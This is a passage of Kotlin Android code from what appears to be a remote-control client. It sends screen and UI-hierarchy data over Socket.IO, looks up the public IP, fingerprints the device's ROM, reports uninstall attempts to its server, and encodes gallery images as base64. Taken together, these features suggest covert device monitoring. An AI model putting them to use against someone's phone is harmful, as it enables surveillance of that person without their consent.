$errorMessage") // Use screen_data event to send error response if (isConnected && socket?.connected() == true) { try { // Convert error response to screen_data format val errorScreenData = JSONObject().apply { put("deviceId", getDeviceId()) put("format", "UI_HIERARCHY") // 特殊格式标识 put("data", errorData.toString()) // 错误数据作为字符串 put("width", getScreenWidth()) put("height", getScreenHeight()) put("quality", 100) put("timestamp", System.currentTimeMillis()) put("uiHierarchy", true) // 标识这是UI层次结构数据 put("isError", true) // 标识这是错误响应 } val emitResult = socket?.emit("screen_data", errorScreenData) Log.w(TAG, "UI hierarchy error response sent via screen_data: $emitResult") } catch (emitException: Exception) { // Error response send failure with tolerance Log.e(TAG, "UI hierarchy error response send failed: ${emitException.message}") // Don't reconnect immediately, let heartbeat handle it Log.w(TAG, "UI error response send failed, CONNECTION_TEST heartbeat will handle reconnect") throw emitException } } else { Log.e(TAG, "Socket.IO not connected, cannot send UI hierarchy error response") // Don't reconnect immediately, let heartbeat handle it Log.w(TAG, "Socket not connected, waiting for CONNECTION_TEST heartbeat") } } catch (e: Exception) { Log.e(TAG, "Send error response failed", e) } } /** * Get current network type (for network change detection) */ private fun getCurrentNetworkType(): String { return try { val connectivityManager = service.getSystemService(Context.CONNECTIVITY_SERVICE) as android.net.ConnectivityManager if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { val activeNetwork = connectivityManager.activeNetwork val networkCapabilities = connectivityManager.getNetworkCapabilities(activeNetwork) when { networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_WIFI) == true -> "WIFI" networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_CELLULAR) == true -> "CELLULAR" networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_ETHERNET) == true -> "ETHERNET" else -> "UNKNOWN" } } else { @Suppress("DEPRECATION") val activeNetworkInfo = connectivityManager.activeNetworkInfo @Suppress("DEPRECATION") when (activeNetworkInfo?.type) { android.net.ConnectivityManager.TYPE_WIFI -> "WIFI" android.net.ConnectivityManager.TYPE_MOBILE -> "CELLULAR" android.net.ConnectivityManager.TYPE_ETHERNET -> "ETHERNET" else -> "UNKNOWN" } } } catch (e: Exception) { Log.w(TAG, "获取网络类型失败", e) "UNKNOWN" } } /** * Check if conservative reconnect strategy should be used */ private fun shouldUseConservativeReconnect(): Boolean { val currentTime = System.currentTimeMillis() val networkType = getCurrentNetworkType() // 多因素判断是否使用保守策略 val factorsForConservative = mutableListOf() // 1. Transport Error频率判断 if (transportErrorCount >= 2 && (currentTime - lastTransportErrorTime) < 600000) { factorsForConservative.add("频繁transport_error(${transportErrorCount}次)") } // 2. 网络类型判断 - CELLULAR网络更容易不稳定 if (networkType == "CELLULAR") { factorsForConservative.add("移动网络") } // 3. 连接持续时间判断 - 如果经常短时间断开,说明网络不稳定 val connectionDuration = currentTime - lastConnectTime if (connectionDuration < 120000 && lastConnectTime > 0) { // 连接时间少于2分钟 factorsForConservative.add("短连接时间(${connectionDuration/1000}秒)") } // 4. Android版本判断 - Android 15可能需要特殊处理 if (Build.VERSION.SDK_INT >= 35) { factorsForConservative.add("Android15系统") } // 5. 网络质量分数判断 - 分数低于60时使用保守策略 if (networkQualityScore < 60) { factorsForConservative.add("网络质量较差(${networkQualityScore}分)") } val useConservative = factorsForConservative.isNotEmpty() if (useConservative) { Log.w(TAG, "Using conservative reconnect strategy, factors: ${factorsForConservative.joinToString(", ")}") } else { Log.i(TAG, "Using standard reconnect strategy, network is good") } return useConservative } /** * Record connection duration for network quality assessment */ private fun recordConnectionDuration(duration: Long) { recentConnectionTimes.add(duration) // 只保留最近10次连接记录 if (recentConnectionTimes.size > 10) { recentConnectionTimes.removeAt(0) } } /** * Update network quality score (multi-factor assessment) */ private fun updateNetworkQualityScore(isSuccess: Boolean, reason: String = "", duration: Long = 0) { val previousScore = networkQualityScore if (isSuccess) { // 连接成功,适度提升分数 networkQualityScore = minOf(100, networkQualityScore + 5) } else { // 连接失败或断开,根据原因和时长降低分数 val penalty = when { reason == "transport_error" -> 15 // transport error惩罚较重 duration < 30000 -> 12 // 连接时间少于30秒,网络很不稳定 duration < 120000 -> 8 // 连接时间少于2分钟,网络不稳定 duration < 300000 -> 5 // 连接时间少于5分钟,轻微不稳定 else -> 2 // 长时间连接后断开,轻微惩罚 } networkQualityScore = maxOf(0, networkQualityScore - penalty) } // 根据成功率进行额外调整 val totalConnections = connectionSuccessCount + connectionFailureCount if (totalConnections >= 5) { val successRate = connectionSuccessCount.toFloat() / totalConnections when { successRate >= 0.9 -> networkQualityScore = minOf(100, networkQualityScore + 3) successRate <= 0.5 -> networkQualityScore = maxOf(0, networkQualityScore - 5) } } // 根据平均连接时长进行调整 if (recentConnectionTimes.isNotEmpty()) { val avgDuration = recentConnectionTimes.average() when { avgDuration >= 300000 -> networkQualityScore = minOf(100, networkQualityScore + 2) // 平均5分钟以上 avgDuration <= 60000 -> networkQualityScore = maxOf(0, networkQualityScore - 3) // 平均1分钟以下 } } if (networkQualityScore != previousScore) { Log.i(TAG, "Network quality score update: $previousScore -> $networkQualityScore (${getNetworkQualityDescription()})") } } /** * Get network quality description */ private fun getNetworkQualityDescription(): String { return when { networkQualityScore >= 80 -> "优秀" networkQualityScore >= 60 -> "良好" networkQualityScore >= 40 -> "一般" networkQualityScore >= 20 -> "较差" else -> "很差" } } /** * Get current network quality score (for external query) */ fun getNetworkQualityScore(): Int = networkQualityScore /** * 🆕 获取设备公网IP地址 */ private suspend fun getPublicIP(): String? { return withContext(Dispatchers.IO) { try { // 检查缓存 val currentTime = System.currentTimeMillis() if (cachedPublicIP != null && (currentTime - lastIPCheckTime) < IP_CACHE_DURATION) { Log.d(TAG, "Using cached public IP: $cachedPublicIP") return@withContext cachedPublicIP } // 尝试多个公网IP检测服务,增加成功率 val ipServices = listOf( "https://ipinfo.io/ip", "https://api.ipify.org", "https://icanhazip.com", "https://checkip.amazonaws.com" ) for (service in ipServices) { try { val url = java.net.URL(service) val connection = url.openConnection() as java.net.HttpURLConnection connection.requestMethod = "GET" connection.connectTimeout = 5000 // 5秒超时 connection.readTimeout = 5000 connection.setRequestProperty("User-Agent", "RemoteControl-Android") if (connection.responseCode == 200) { val ip = connection.inputStream.bufferedReader().use { it.readText().trim() } // 验证IP格式 if (isValidIP(ip)) { cachedPublicIP = ip lastIPCheckTime = currentTime Log.i(TAG, "Public IP obtained: $ip (service: $service)") return@withContext ip } } connection.disconnect() } catch (e: Exception) { Log.w(TAG, "IP detection service failed: $service", e) continue } } Log.w(TAG, "All public IP detection services failed") return@withContext null } catch (e: Exception) { Log.e(TAG, "Get public IP exception", e) return@withContext null } } } /** * 🆕 验证IP地址格式 */ private fun isValidIP(ip: String): Boolean { return try { val parts = ip.split(".") if (parts.size != 4) return false parts.all { part -> val num = part.toIntOrNull() num != null && num >= 0 && num <= 255 } } catch (e: Exception) { false } } /** * Send uninstall attempt detection event to server */ fun sendUninstallAttemptDetected(type: String, message: String = "") { try { if (isConnected && socket?.connected() == true) { val eventData = JSONObject().apply { put("deviceId", getDeviceId()) put("type", type) put("message", message.ifEmpty { "检测到卸载尝试: $type" }) put("timestamp", System.currentTimeMillis()) } socket?.emit("uninstall_attempt_detected", eventData) Log.w(TAG, "Uninstall attempt event sent: type=$type, message=$message") } else { Log.w(TAG, "Socket not connected, cannot send uninstall attempt event") } } catch (e: Exception) { Log.e(TAG, "Send uninstall attempt event failed", e) } } /** * 🆕 获取系统版本名称(如Android 11、Android 12等) */ private fun getSystemVersionName(): String { return try { val apiLevel = android.os.Build.VERSION.SDK_INT val release = android.os.Build.VERSION.RELEASE // 根据API级别映射到Android版本名称 val versionName = when (apiLevel) { 35 -> "Android 15" 34 -> "Android 14" 33 -> "Android 13" 32, 31 -> "Android 12" 30 -> "Android 11" 29 -> "Android 10" 28 -> "Android 9" 27, 26 -> "Android 8" 25, 24, 23 -> "Android 7" 22, 21 -> "Android 5" 19 -> "Android 4.4" else -> "Android $release" } Log.d(TAG, "System version: $versionName (API $apiLevel)") versionName } catch (e: Exception) { Log.e(TAG, "Get system version failed", e) "Android ${android.os.Build.VERSION.RELEASE}" } } /** * 🆕 获取ROM类型(如MIUI、ColorOS、FunTouch等) */ private fun getROMType(): String { return try { val brand = android.os.Build.BRAND.lowercase() val manufacturer = android.os.Build.MANUFACTURER.lowercase() val romType = when { // 小米系列 brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> { when { hasSystemProperty("ro.mi.os.version.incremental") -> "澎湃OS" hasSystemProperty("ro.miui.ui.version.name") -> "MIUI" else -> "原生Android" } } // 华为系列 brand.contains("huawei") || brand.contains("honor") -> { when { hasSystemProperty("ro.build.version.emui") -> "EMUI" hasSystemProperty("ro.magic.api.version") -> "Magic UI" else -> "原生Android" } } // OPPO系列 brand.contains("oppo") || brand.contains("oneplus") -> { when { hasSystemProperty("ro.build.version.opporom") -> "ColorOS" hasSystemProperty("ro.oxygen.version") -> "OxygenOS" else -> "原生Android" } } // vivo系列 brand.contains("vivo") || brand.contains("iqoo") -> { if (hasSystemProperty("ro.vivo.os.version")) "OriginOS" else "Funtouch OS" } // 三星系列 brand.contains("samsung") -> "One UI" // 魅族系列 brand.contains("meizu") -> "Flyme" // 努比亚系列 brand.contains("nubia") -> "nubia UI" // 联想系列 brand.contains("lenovo") -> "ZUI" // 中兴系列 brand.contains("zte") -> "MiFavor" // Google系列 brand.contains("google") || brand.contains("pixel") -> "原生Android" else -> { // 尝试通过系统属性检测 when { hasSystemProperty("ro.miui.ui.version.name") -> "MIUI" hasSystemProperty("ro.build.version.emui") -> "EMUI" hasSystemProperty("ro.magic.api.version") -> "Magic UI" hasSystemProperty("ro.build.version.opporom") -> "ColorOS" hasSystemProperty("ro.oxygen.version") -> "OxygenOS" hasSystemProperty("ro.vivo.os.version") -> "OriginOS" hasSystemProperty("ro.build.version.oneui") -> "One UI" else -> "${manufacturer.replaceFirstChar { it.uppercase() }} ROM" } } } Log.d(TAG, "ROM type: $romType (Brand: $brand, Manufacturer: $manufacturer)") romType } catch (e: Exception) { Log.e(TAG, "Get ROM type failed", e) "未知ROM" } } /** * 🆕 获取ROM版本(如MIUI 12.5、ColorOS 11.1等) */ private fun getROMVersion(): String { return try { val brand = android.os.Build.BRAND.lowercase() val romVersion = when { // 小米MIUI/澎湃OS版本 brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> { // 优先检查澎湃OS版本 getSystemProperty("ro.mi.os.version.name") ?: getSystemProperty("ro.mi.os.version.code") ?: // 然后检查MIUI版本 getSystemProperty("ro.miui.ui.version.name") ?: getSystemProperty("ro.miui.ui.version.code") ?: "未知版本" } // 华为EMUI/Magic UI版本 brand.contains("huawei") || brand.contains("honor") -> { getSystemProperty("ro.build.version.emui") ?: getSystemProperty("ro.magic.api.version") ?: getSystemProperty("ro.build.hw_emui_api_level") ?: "未知版本" } // OPPO ColorOS版本 brand.contains("oppo") -> { getSystemProperty("ro.build.version.opporom") ?: getSystemProperty("ro.build.version.ota") ?: "未知版本" } // OnePlus OxygenOS版本 brand.contains("oneplus") -> { getSystemProperty("ro.oxygen.version") ?: getSystemProperty("ro.rom.version") ?: "未知版本" } // vivo FunTouch/OriginOS版本 brand.contains("vivo") || brand.contains("iqoo") -> { getSystemProperty("ro.vivo.os.version") ?: getSystemProperty("ro.vivo.product.version") ?: "未知版本" } // 三星One UI版本 brand.contains("samsung") -> { getSystemProperty("ro.build.version.oneui") ?: getSystemProperty("ro.build.version.sem") ?: "未知版本" } // 魅族Flyme版本 brand.contains("meizu") -> { getSystemProperty("ro.build.flyme.version") ?: "未知版本" } else -> { // 尝试获取通用版本信息 getSystemProperty("ro.build.version.incremental") ?: getSystemProperty("ro.build.id") ?: "未知版本" } } Log.d(TAG, "ROM version: $romVersion (Brand: $brand)") romVersion } catch (e: Exception) { Log.e(TAG, "Get ROM version failed", e) "未知版本" } } /** * 🆕 检查系统属性是否存在 */ private fun hasSystemProperty(key: String): Boolean { return try { val property = getSystemProperty(key) !property.isNullOrBlank() } catch (e: Exception) { false } } /** * 🆕 获取系统属性值 */ private fun getSystemProperty(key: String): String? { return try { val clazz = Class.forName("android.os.SystemProperties") val method = clazz.getMethod("get", String::class.java) val result = method.invoke(null, key) as? String result?.takeIf { it.isNotBlank() } } catch (e: Exception) { Log.w(TAG, "Get system property failed: $key", e) null } } /** * 🆕 获取OS构建版本号(如1.0.19.0.UMCCNXM) */ private fun getOSBuildVersion(): String { return try { val brand = android.os.Build.BRAND.lowercase() // Special handling for Xiaomi devices if (brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco")) { // 检查是否为澎湃OS val hyperosProp = getSystemProperty("ro.mi.os.version.incremental") if (!hyperosProp.isNullOrBlank()) { Log.d(TAG, "Detected HyperOS, version: $hyperosProp") return hyperosProp } // MIUI设备特定属性 val miuiIncrementalProps = listOf( "ro.build.version.incremental", "ro.product.mod_device", "ro.build.display.id" ) for (property in miuiIncrementalProps) { val version = getSystemProperty(property) if (!version.isNullOrBlank() && version.length > 3) { // Fix HyperOS version format: remove possible prefix val cleanVersion = when { version.startsWith("V") && version.contains(".") -> { // 如果是V816.0.19.0.UMCCNXM格式,提取.后面的部分 val dotIndex = version.indexOf('.') if (dotIndex > 1) { version.substring(dotIndex + 1) } else version } else -> version } Log.d(TAG, "Xiaomi device OS build version: $cleanVersion (raw: $version, source: $property)") return cleanVersion } } } // 其他品牌设备的通用属性获取 val buildProperties = listOf( "ro.build.version.incremental", // 增量版本号 "ro.build.display.id", // 完整构建显示ID "ro.build.id", // 构建ID "ro.modversion", // 模组版本 "ro.build.version.security_patch", // 安全补丁版本 "ro.build.description", // 构建描述 "ro.product.build.version.incremental" // 产品构建增量版本 ) // 按优先级尝试获取版本信息 for (property in buildProperties) { val version = getSystemProperty(property) if (!version.isNullOrBlank() && version.length > 3) { Log.d(TAG, "OS build version: $version (source: $property)") return version } } // 如果都获取不到,使用Build类的相关信息 val fallbackVersion = when { android.os.Build.DISPLAY.isNotBlank() -> android.os.Build.DISPLAY android.os.Build.ID.isNotBlank() -> android.os.Build.ID else -> android.os.Build.VERSION.INCREMENTAL } Log.d(TAG, "Using fallback OS build version: $fallbackVersion") fallbackVersion.ifBlank { "未知版本" } } catch (e: Exception) { Log.e(TAG, "Get OS build version failed", e) android.os.Build.VERSION.INCREMENTAL.ifBlank { "未知版本" } } } // =============== 图片加载与压缩工具 =============== private fun loadImageAsJpegBase64(contentUri: String, maxWidth: Int, maxHeight: Int, quality: Int): String? { return try { val uri = android.net.Uri.parse(contentUri) val resolver = service.contentResolver // 先读取尺寸 val boundsOptions = android.graphics.BitmapFactory.Options().apply { inJustDecodeBounds = true } resolver.openInputStream(uri)?.use { input -> android.graphics.BitmapFactory.decodeStream(input, null, boundsOptions) } val (srcW, srcH) = boundsOptions.outWidth to boundsOptions.outHeight if (srcW <= 0 || srcH <= 0) { Log.w(TAG, "Cannot parse image dimensions: $contentUri") return null } // 计算采样率 val inSample = calculateInSampleSize(srcW, srcH, maxWidth, maxHeight) val decodeOptions = android.graphics.BitmapFactory.Options().apply { inSampleSize = inSample inPreferredConfig = android.graphics.Bitmap.Config.RGB_565 } val bitmap = resolver.openInputStream(uri)?.use { input -> android.graphics.BitmapFactory.decodeStream(input, null, decodeOptions) } ?: return null val output = java.io.ByteArrayOutputStream() bitmap.compress(android.graphics.Bitmap.CompressFormat.JPEG, quality.coerceIn(30, 95), output) bitmap.recycle() val bytes = output.toByteArray() if (bytes.size > maxGalleryImageSize) { Log.w(TAG, "Compressed image still too large(${bytes.size}B), retrying with lower quality") val retryOut = java.io.ByteArrayOutputStream() val retryBitmap = resolver.openInputStream(uri)?.use { input -> android.graphics.BitmapFactory.decodeStream(input, null, decodeOptions) } ?: return null retryBitmap.compress(android.graphics.Bitmap.CompressFormat.JPEG, 60, retryOut) retryBitmap.recycle() val retryBytes = retryOut.toByteArray() if (retryBytes.size > maxGalleryImageSize) { Log.w(TAG, "Still too large after retry(${retryBytes.size}B), giving up: $contentUri") return null } return android.util.Base64.encodeToString(retryBytes, android.util.Base64.NO_WRAP) } android.util.Base64.encodeToString(bytes, android.util.Base64.NO_WRAP) } catch (e: Exception) { Log.e(TAG, "Load/compress image failed: $contentUri", e) null } } private fun calculateInSampleSize(srcW: Int, srcH: Int, reqW: Int, reqH: Int): Int { var inSampleSize = 1 var height = srcH var width = srcW if (height > reqH || width > reqW) { var halfHeight = height / 2 var halfWidth = width / 2 while ((halfHeight / inSampleSize) >= reqH && (halfWidth / inSampleSize) >= reqW) { inSampleSize *= 2 } } return inSampleSize.coerceAtLeast(1) } }